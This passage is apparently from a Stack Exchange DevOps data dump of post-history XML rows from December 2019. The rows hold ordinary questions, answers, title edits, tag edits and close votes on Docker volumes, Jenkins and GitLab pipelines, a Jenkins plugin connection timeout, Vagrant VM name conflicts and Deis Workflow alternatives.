placing the data in each image and avoiding the shared volume is infeasible, then you likely want a process to copy data from the image into the volume as part of your container entrypoint. This has two advantages. First it works when the containers startup in either order, so you can eliminate dependencies between container startup order (though you may find it necessary to include some wait step in the other container entrypoints if they fail when run before the data is copied). And second, your copy can update the volume when existing data is already there.&#xD;&#xA;&#xD;&#xA;I've implemented a `load-volume` and `save-volume` pair of scripts in my [docker base image](https://github.com/sudo-bmitch/docker-base#volume-caching) that you can reuse in your own images to implement this second option. I typically ran into this issue when using tmpfs volumes to support read-only containers, but the scripts have been made generic enough to support your use case. Note that your scenario likely involves deleting existing data from the volume, and I've implemented that using `rsync` for performance, so that needs to be installed in your image to work." ContentLicense="CC BY-SA 4.0" />
  <row Id="31318" PostHistoryTypeId="2" PostId="10297" RevisionGUID="08ba1cdb-e0e9-4298-93fa-b8c46320a770" CreationDate="2019-12-24T21:21:00.347" UserId="18811" Text="I am new to DevOps world and desperately looking for your help.&#xD;&#xA;We have multiple API depositors in gitlab subgroup, I am trying to establish CICD pipeline,which will connect to gitlab subgroup,&#xD;&#xA;&#xD;&#xA;1) Any new API added into the subgroup, pipeline will be triggered.&#xD;&#xA;2) If existing API code is updated into any branch pipeline should triggered.&#xD;&#xA;&#xD;&#xA;In GIT repository, i have to provide the API URL, should i write #of pipelines as number API?&#xD;&#xA;&#xD;&#xA;Can you please help me here?&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Biswa " ContentLicense="CC BY-SA 4.0" />
  <row Id="31319" PostHistoryTypeId="1" PostId="10297" RevisionGUID="08ba1cdb-e0e9-4298-93fa-b8c46320a770" CreationDate="2019-12-24T21:21:00.347" UserId="18811" Text="Building Jenkin pipeline with gitlab info" ContentLicense="CC BY-SA 4.0" />
  <row Id="31320" PostHistoryTypeId="3" PostId="10297" RevisionGUID="08ba1cdb-e0e9-4298-93fa-b8c46320a770" CreationDate="2019-12-24T21:21:00.347" UserId="18811" Text="&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31321" PostHistoryTypeId="5" PostId="10297" RevisionGUID="7296016f-48ef-4860-8c24-c66ff669d60e" CreationDate="2019-12-25T08:34:34.457" UserId="210" Comment="deleted 52 characters in body" Text="I am new to DevOps world and desperately looking for your help.&#xD;&#xA;We have multiple API depositors in gitlab subgroup, I am trying to establish CICD pipeline,which will connect to gitlab subgroup,&#xD;&#xA;&#xD;&#xA;1) Any new API added into the subgroup, pipeline will be triggered.&#xD;&#xA;2) If existing API code is updated into any branch pipeline should triggered.&#xD;&#xA;&#xD;&#xA;In GIT repository, i have to provide the API URL, should i write #of pipelines as number API?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31322" PostHistoryTypeId="5" PostId="10269" RevisionGUID="f8f8bcb6-de94-46fe-96f2-2549fe914939" CreationDate="2019-12-25T08:39:21.503" UserId="210" Comment="deleted 10 characters in body" Text="    kops delete secret --name cluster-1.dev.transein.com sshpublickey admin 2c:yy" ContentLicense="CC BY-SA 4.0" />
  <row Id="31323" PostHistoryTypeId="10" PostId="6001" RevisionGUID="08793e14-ae3d-4936-ab23-e328e4daacad" CreationDate="2019-12-25T08:42:32.137" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31324" PostHistoryTypeId="6" PostId="6001" RevisionGUID="4cf5790e-25e4-486e-8087-2b0a35ec6bd3" CreationDate="2019-12-25T08:43:41.563" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31325" PostHistoryTypeId="4" PostId="7966" RevisionGUID="154ffefc-9769-4b77-8af6-e0cd7845ad3d" CreationDate="2019-12-25T08:46:18.240" UserId="210" Comment="edited title" Text="What Monitoring Dashboards do exist with customizable actions like handles, levers and actionable buttons?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31326" PostHistoryTypeId="10" PostId="7966" RevisionGUID="90fc7673-eae5-4fb9-afea-d2b7828cdb03" CreationDate="2019-12-25T08:46:22.670" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31327" PostHistoryTypeId="2" PostId="10298" RevisionGUID="c611d1d0-7bbe-47cc-91d8-fb9916cc4058" CreationDate="2019-12-25T08:52:19.270" UserId="210" Text="It looks like that there is a name conflict:&#xD;&#xA;&#xD;&#xA;    The name of your virtual machine couldn't be set because VirtualBox&#xD;&#xA;    is reporting another VM with that name already exists. Most of the&#xD;&#xA;    time, this is because of an error with VirtualBox not cleaning up&#xD;&#xA;    properly. To fix this, verify that no VMs with that name do exist&#xD;&#xA;    (by opening the VirtualBox GUI). If they don't, then look at the&#xD;&#xA;    folder in the error message from VirtualBox below and remove it&#xD;&#xA;    if there isn't any information you need in there.&#xD;&#xA;&#xD;&#xA;According to [@xofer on Github][1] on has to set the `name`. However in the example you provided in conjunction with the logging, the issue seems to be caused by a VM that was created and still exists in Virtualbox. In other words one has to ensure that the VM has been removed or another name has to be defined to prevent this collision.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/hashicorp/vagrant/issues/1817#issuecomment-20976959" ContentLicense="CC BY-SA 4.0" />
  <row Id="31328" PostHistoryTypeId="6" PostId="7971" RevisionGUID="2aa1c3b3-bdd3-481e-a789-79a26bdc78a0" CreationDate="2019-12-25T08:52:41.817" UserId="210" Comment="edited tags" Text="&lt;vagrant&gt;&lt;packer&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31331" PostHistoryTypeId="4" PostId="8062" RevisionGUID="599e432f-4a81-42df-91ad-1938288f8f83" CreationDate="2019-12-25T09:02:42.653" UserId="210" Comment="edited title" Text="What are Deis Workflow Alternatives?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31332" PostHistoryTypeId="2" PostId="10299" RevisionGUID="96107efe-9777-4afc-b372-aae69759bb8c" CreationDate="2019-12-25T09:07:19.793" UserId="8527" Text="It's been a while since posting the question, and a comment I made above seems to be helpful despite the fact it's using a quantitative assessment, so I'll post it here as an answer.&#xD;&#xA;&#xD;&#xA;**As per comment above:**&#xD;&#xA;&#xD;&#xA;@030 I can offer my experiences since asking the question, albeit it's a subjective view as I have no quantitative data. I can offer that a year and a half later, I haven't regretted my decision putting the master into us-west-2. Our users in any region don't seem to be impacted by having the master in us-west-2, at least from a UX perspective. I suppose at some point it could be worth measuring write times -- but to date I haven't had to. There's no business impact from any latencies due to the location of the master, that we can detect at least, so we're happy here" ContentLicense="CC BY-SA 4.0" />
  <row Id="31333" PostHistoryTypeId="2" PostId="10300" RevisionGUID="0e6f2038-e93c-468d-9da3-ca69eb7b11bc" CreationDate="2019-12-25T09:14:35.407" UserId="210" Text="According to [the README of the deis/workflow project on GitHub][1], it is no longer maintained since March 1, 2018.&#xD;&#xA;&#xD;&#xA;However, the README indicates that there is a fork, called [Hephy Workflow][2]. At the time of writing, this is the first time I heard about Deis and Hephy and I have not worked with these solutions.&#xD;&#xA;&#xD;&#xA;Alternatives to these products are OpenShift, Google App, AWS Elastic Beanstalk, Azure App Service, Cloud Foundry, Apollo according to [StackShare][3].&#xD;&#xA;&#xD;&#xA;You mentioned that you are looking to build something **internal**. This would probably mean that native-PAAS like AWS Elastic Beanstalk, Azure App Service and Google App are not an option as these are only available on their platform.&#xD;&#xA;&#xD;&#xA;One of the options could be OpenShift. This product has an enterprise and open-source version that can be installed on your on-premise or cloud servers. You could also decide to create a bunch of VMs on Google Cloud and install OpenShift on these servers.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/deis/workflow&#xD;&#xA;  [2]: https://github.com/teamhephy/workflow&#xD;&#xA;  [3]: https://stackshare.io/deis-workflow/alternatives" ContentLicense="CC BY-SA 4.0" />
  <row Id="31334" PostHistoryTypeId="5" PostId="8118" RevisionGUID="325be5ba-8630-4de0-8b0d-c35f3949d3db" CreationDate="2019-12-25T09:19:10.650" UserId="210" Comment="deleted 3 characters in body" Text="I have been conducting some experiments in Azure, mostly using some VNets and some Linux based Azure container instances. I am not even using Kubernetes or anything along the lines of that, but about 50% of my Azure cost is `&quot;service fabric mesh&quot;`.&#xD;&#xA;&#xD;&#xA;Is any other service I might be using based on that? How do I find out where these charges come from?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31335" PostHistoryTypeId="2" PostId="10301" RevisionGUID="edb1e47c-beb3-4f4b-a7dc-6a4d25d0b01a" CreationDate="2019-12-25T09:22:33.847" UserId="17622" Text="I am trying to setup new jenkins. When I download Suggested Plugins OR try to install any plugin I am getting below error.&#xD;&#xA;```java.net.SocketTimeoutException: connect timed out&#xD;&#xA;	at java.net.DualStackPlainSocketImpl.waitForConnect(Native Method)&#xD;&#xA;	at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source)&#xD;&#xA;	at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source)&#xD;&#xA;	at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source)&#xD;&#xA;	at java.net.AbstractPlainSocketImpl.connect(Unknown Source)&#xD;&#xA;	at java.net.PlainSocketImpl.connect(Unknown Source)&#xD;&#xA;	at java.net.SocksSocketImpl.connect(Unknown Source)&#xD;&#xA;	at java.net.Socket.connect(Unknown Source)&#xD;&#xA;	at sun.net.NetworkClient.doConnect(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.openServer(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.openServer(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.&lt;init&gt;(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.New(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.New(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.plainConnect0(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.plainConnect(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.connect(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getHeaderField(Unknown Source)&#xD;&#xA;	at java.net.URLConnection.getHeaderFieldLong(Unknown Source)&#xD;&#xA;	at java.net.URLConnection.getContentLengthLong(Unknown Source)&#xD;&#xA;	at java.net.URLConnection.getContentLength(Unknown Source)&#xD;&#xA;	at hudson.model.UpdateCenter$UpdateCenterConfiguration.download(UpdateCenter.java:1194)&#xD;&#xA;Caused: java.net.SocketTimeoutException: connect timed out&#xD;&#xA;	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)&#xD;&#xA;	at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source)&#xD;&#xA;	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source)&#xD;&#xA;	at java.lang.reflect.Constructor.newInstance(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection$10.run(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection$10.run(Unknown Source)```[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2TgUP.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31336" PostHistoryTypeId="1" PostId="10301" RevisionGUID="edb1e47c-beb3-4f4b-a7dc-6a4d25d0b01a" CreationDate="2019-12-25T09:22:33.847" UserId="17622" Text="Jenkins Plugin Install Failed" ContentLicense="CC BY-SA 4.0" />
  <row Id="31337" PostHistoryTypeId="3" PostId="10301" RevisionGUID="edb1e47c-beb3-4f4b-a7dc-6a4d25d0b01a" CreationDate="2019-12-25T09:22:33.847" UserId="17622" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31338" PostHistoryTypeId="6" PostId="8118" RevisionGUID="a0a5d9d8-1471-4cc6-a73a-8f1cc37a66b9" CreationDate="2019-12-25T09:25:58.730" UserId="210" Comment="edited tags" Text="&lt;azure&gt;&lt;cost-management&gt;&lt;azure-service-fabric&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31339" PostHistoryTypeId="2" PostId="10302" RevisionGUID="ced597c1-432d-4109-9e77-7bc5d07624f9" CreationDate="2019-12-25T09:26:27.363" UserId="210" Text="Website: https://azure.microsoft.com/en-us/services/service-fabric/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31340" PostHistoryTypeId="1" PostId="10302" RevisionGUID="ced597c1-432d-4109-9e77-7bc5d07624f9" CreationDate="2019-12-25T09:26:27.363" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31341" PostHistoryTypeId="2" PostId="10303" RevisionGUID="8bbc0412-b871-4803-99ee-29b23db6b2c8" CreationDate="2019-12-25T09:26:27.363" UserId="210" Text="Use this tag if a question is about azure-service-fabric." ContentLicense="CC BY-SA 4.0" />
  <row Id="31342" PostHistoryTypeId="1" PostId="10303" RevisionGUID="8bbc0412-b871-4803-99ee-29b23db6b2c8" CreationDate="2019-12-25T09:26:27.363" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31344" PostHistoryTypeId="10" PostId="8118" RevisionGUID="8613bc28-a2dc-48fe-aaf7-eb74d5c66e5f" CreationDate="2019-12-25T09:31:39.697" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31345" PostHistoryTypeId="10" PostId="4939" RevisionGUID="64e9ff7f-aa49-45a2-a72a-55c2e3abc441" CreationDate="2019-12-25T09:40:10.740" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31346" PostHistoryTypeId="10" PostId="8066" RevisionGUID="b5dc1a56-3d21-4c6c-8832-84ae0da9661b" CreationDate="2019-12-25T09:40:33.043" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31347" PostHistoryTypeId="4" PostId="8066" RevisionGUID="943a8e27-dbb5-412c-8489-eb257c9433b6" CreationDate="2019-12-25T09:43:17.547" UserId="210" Comment="edited title" Text="Why is the Kubernetes scheduler trying to assign pods to nodes that no longer exist?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31348" PostHistoryTypeId="6" PostId="4939" RevisionGUID="990a46c0-cb8a-48cb-8604-64873a713f9a" CreationDate="2019-12-25T09:43:36.243" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31349" PostHistoryTypeId="10" PostId="8157" RevisionGUID="8489f8ec-6f84-46e2-992b-4fc8dc39f9c4" CreationDate="2019-12-25T09:45:55.680" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31350" PostHistoryTypeId="4" PostId="5736" RevisionGUID="028f20fc-0611-457e-b1e2-72e565f424cd" CreationDate="2019-12-25T09:49:17.230" UserId="210" Comment="edited title" Text="What security loopholes does Istio tackle?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31351" PostHistoryTypeId="5" PostId="10301" RevisionGUID="f35ae75d-0ed8-40fa-a2ec-790c5ca3e8f6" CreationDate="2019-12-25T09:53:01.697" UserId="17622" Comment="added 237 characters in body" Text="I am trying to set up new Jenkins. When I download Suggested Plugins OR try to install any plugin I am getting below error. &#xD;&#xA;I am using Jenkins Latest **Version 2.204.1**. I have set up this on **VM**. I am getting this error for all the plugins even when I am trying to install suggested plugins during the initial setup, that time also I am getting the same error.&#xD;&#xA;```java.net.SocketTimeoutException: connect timed out&#xD;&#xA;	at java.net.DualStackPlainSocketImpl.waitForConnect(Native Method)&#xD;&#xA;	at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source)&#xD;&#xA;	at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source)&#xD;&#xA;	at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source)&#xD;&#xA;	at java.net.AbstractPlainSocketImpl.connect(Unknown Source)&#xD;&#xA;	at java.net.PlainSocketImpl.connect(Unknown Source)&#xD;&#xA;	at java.net.SocksSocketImpl.connect(Unknown Source)&#xD;&#xA;	at java.net.Socket.connect(Unknown Source)&#xD;&#xA;	at sun.net.NetworkClient.doConnect(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.openServer(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.openServer(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.&lt;init&gt;(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.New(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.New(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.plainConnect0(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.plainConnect(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.connect(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getHeaderField(Unknown Source)&#xD;&#xA;	at java.net.URLConnection.getHeaderFieldLong(Unknown Source)&#xD;&#xA;	at java.net.URLConnection.getContentLengthLong(Unknown Source)&#xD;&#xA;	at java.net.URLConnection.getContentLength(Unknown Source)&#xD;&#xA;	at hudson.model.UpdateCenter$UpdateCenterConfiguration.download(UpdateCenter.java:1194)&#xD;&#xA;Caused: java.net.SocketTimeoutException: connect timed out&#xD;&#xA;	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)&#xD;&#xA;	at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source)&#xD;&#xA;	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source)&#xD;&#xA;	at java.lang.reflect.Constructor.newInstance(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection$10.run(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection$10.run(Unknown Source)```[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2TgUP.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31352" PostHistoryTypeId="6" PostId="8077" RevisionGUID="d3b38be7-cff0-467e-b68e-7b62c5cfb265" CreationDate="2019-12-25T09:59:33.863" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;academia&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31353" PostHistoryTypeId="5" PostId="10301" RevisionGUID="416e709c-aaf0-4629-9c7d-f9a556698d33" CreationDate="2019-12-25T10:05:10.753" UserId="17622" Comment="added 151 characters in body" Text="I am trying to set up new Jenkins. When I download Suggested Plugins OR try to install any plugin I am getting below error. &#xD;&#xA;I am using Jenkins Latest **Version 2.204.1**. I have set up this on **VM**. I am getting this error for all the plugins even when I am trying to install suggested plugins during the initial setup, that time also I am getting the same error. I am installing Jenkins on Microsoft Windows Server VM. I have downloaded Jenkins from Browser, extracted zip file and installed it using jenkins.msi.&#xD;&#xA;```java.net.SocketTimeoutException: connect timed out&#xD;&#xA;	at java.net.DualStackPlainSocketImpl.waitForConnect(Native Method)&#xD;&#xA;	at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source)&#xD;&#xA;	at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source)&#xD;&#xA;	at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source)&#xD;&#xA;	at java.net.AbstractPlainSocketImpl.connect(Unknown Source)&#xD;&#xA;	at java.net.PlainSocketImpl.connect(Unknown Source)&#xD;&#xA;	at java.net.SocksSocketImpl.connect(Unknown Source)&#xD;&#xA;	at java.net.Socket.connect(Unknown Source)&#xD;&#xA;	at sun.net.NetworkClient.doConnect(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.openServer(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.openServer(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.&lt;init&gt;(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.New(Unknown Source)&#xD;&#xA;	at sun.net.www.http.HttpClient.New(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.plainConnect0(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.plainConnect(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.connect(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection.getHeaderField(Unknown Source)&#xD;&#xA;	at java.net.URLConnection.getHeaderFieldLong(Unknown Source)&#xD;&#xA;	at java.net.URLConnection.getContentLengthLong(Unknown Source)&#xD;&#xA;	at java.net.URLConnection.getContentLength(Unknown Source)&#xD;&#xA;	at hudson.model.UpdateCenter$UpdateCenterConfiguration.download(UpdateCenter.java:1194)&#xD;&#xA;Caused: java.net.SocketTimeoutException: connect timed out&#xD;&#xA;	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)&#xD;&#xA;	at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source)&#xD;&#xA;	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source)&#xD;&#xA;	at java.lang.reflect.Constructor.newInstance(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection$10.run(Unknown Source)&#xD;&#xA;	at sun.net.www.protocol.http.HttpURLConnection$10.run(Unknown Source)```[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2TgUP.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31355" PostHistoryTypeId="6" PostId="8226" RevisionGUID="7b781d6f-fbd2-4172-8a96-3f34cf124e44" CreationDate="2019-12-25T10:09:30.383" UserId="210" Comment="edited tags" Text="&lt;gitlab&gt;&lt;cicd&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31356" PostHistoryTypeId="10" PostId="8226" RevisionGUID="a5e4c39d-2e39-4ef0-b854-d235c09bab7e" CreationDate="2019-12-25T10:09:34.140" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31357" PostHistoryTypeId="6" PostId="8260" RevisionGUID="f0f5507d-0e65-423a-9641-909482c8822e" CreationDate="2019-12-25T10:11:32.527" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31358" PostHistoryTypeId="6" PostId="10301" RevisionGUID="a02062c8-6659-466f-b384-ebfc201e1cc5" CreationDate="2019-12-25T10:13:10.277" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31359" PostHistoryTypeId="10" PostId="8317" RevisionGUID="ba7a5bc8-d707-473a-b459-b07f39aac1ee" CreationDate="2019-12-25T10:14:08.577" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31360" PostHistoryTypeId="5" PostId="8317" RevisionGUID="bc9debf0-f521-4513-8222-aa659040647b" CreationDate="2019-12-25T10:15:23.610" UserId="210" Comment="deleted 2 characters in body; edited tags" Text="Is there a way to modify what branch a service hook is monitoring through a Jenkins job?  &#xD;&#xA;&#xD;&#xA;Our build jobs within Jenkins are triggered via service hooks within TFS.  When we branch, inevitably we forgot to go over to TFS and update the service hook branch. Our thought was to have a Jenkins job, create the new branch and then perform some magic to update the service hook subscription with the new branch.  &#xD;&#xA;&#xD;&#xA;So far our research has come up with nothing. " ContentLicense="CC BY-SA 4.0" />
  <row Id="31361" PostHistoryTypeId="6" PostId="8317" RevisionGUID="bc9debf0-f521-4513-8222-aa659040647b" CreationDate="2019-12-25T10:15:23.610" UserId="210" Comment="deleted 2 characters in body; edited tags" Text="&lt;jenkins&gt;&lt;automation&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31362" PostHistoryTypeId="10" PostId="8322" RevisionGUID="5c5a03af-b142-45ad-b065-3217e124ad04" CreationDate="2019-12-25T10:17:17.867" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31363" PostHistoryTypeId="4" PostId="8322" RevisionGUID="42967084-23a6-483f-a552-a997dfa36e21" CreationDate="2019-12-25T10:17:45.250" UserId="210" Comment="edited title; edited tags" Text="How to mount ssh keys on ephemeral container from a Windows host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31364" PostHistoryTypeId="6" PostId="8322" RevisionGUID="42967084-23a6-483f-a552-a997dfa36e21" CreationDate="2019-12-25T10:17:45.250" UserId="210" Comment="edited title; edited tags" Text="&lt;docker&gt;&lt;git&gt;&lt;windows&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31365" PostHistoryTypeId="11" PostId="10164" RevisionGUID="15fa406b-161b-4344-8ffe-6a6ef7f0f486" CreationDate="2019-12-25T10:38:14.737" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31366" PostHistoryTypeId="33" PostId="10164" RevisionGUID="8acb0304-5a66-4208-802a-4c649f649156" CreationDate="2019-12-25T10:39:44.640" UserId="210" Comment="48" />
  <row Id="31367" PostHistoryTypeId="4" PostId="10164" RevisionGUID="005b532f-66c3-4bb3-be45-f61c756f2caf" CreationDate="2019-12-25T10:40:10.793" UserId="210" Comment="edited title" Text="What about installing an Antivirus on Windows K8s nodes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31368" PostHistoryTypeId="10" PostId="8657" RevisionGUID="e4f2c5c9-6dae-4f96-84ca-3d1454762e75" CreationDate="2019-12-25T10:43:56.090" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31369" PostHistoryTypeId="6" PostId="8657" RevisionGUID="b797603d-418e-42f1-993a-73b42532c71e" CreationDate="2019-12-25T10:44:14.547" UserId="210" Comment="edited tags" Text="&lt;artifactory&gt;&lt;open-source&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31370" PostHistoryTypeId="10" PostId="8350" RevisionGUID="9523b38d-a5fa-4740-9f63-47747c0c1593" CreationDate="2019-12-25T10:47:22.790" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31371" PostHistoryTypeId="4" PostId="8350" RevisionGUID="9a042bb8-131e-4605-bb49-8cbbf5cb1e97" CreationDate="2019-12-25T10:47:47.990" UserId="210" Comment="edited title" Text="How to deploy a desktop application using Azure DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31372" PostHistoryTypeId="10" PostId="8328" RevisionGUID="17e78676-ea24-43fa-81a0-5941977f3706" CreationDate="2019-12-25T10:48:07.973" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31373" PostHistoryTypeId="10" PostId="761" RevisionGUID="97027ce3-c225-4529-9a1f-a3b61b00f6ad" CreationDate="2019-12-25T10:52:24.100" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[742],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31374" PostHistoryTypeId="10" PostId="8364" RevisionGUID="1b59dfe6-9111-40dc-86bb-97bdbcc2d23d" CreationDate="2019-12-25T10:52:54.117" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[742],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31375" PostHistoryTypeId="6" PostId="742" RevisionGUID="40f4ef12-5ee7-4c61-97ab-34296154057e" CreationDate="2019-12-25T10:55:32.630" UserId="210" Comment="edited tags" Text="&lt;continuous-deployment&gt;&lt;continuous-delivery&gt;&lt;databases&gt;&lt;flyway&gt;" ContentLicense="CC BY-SA 4.0" />
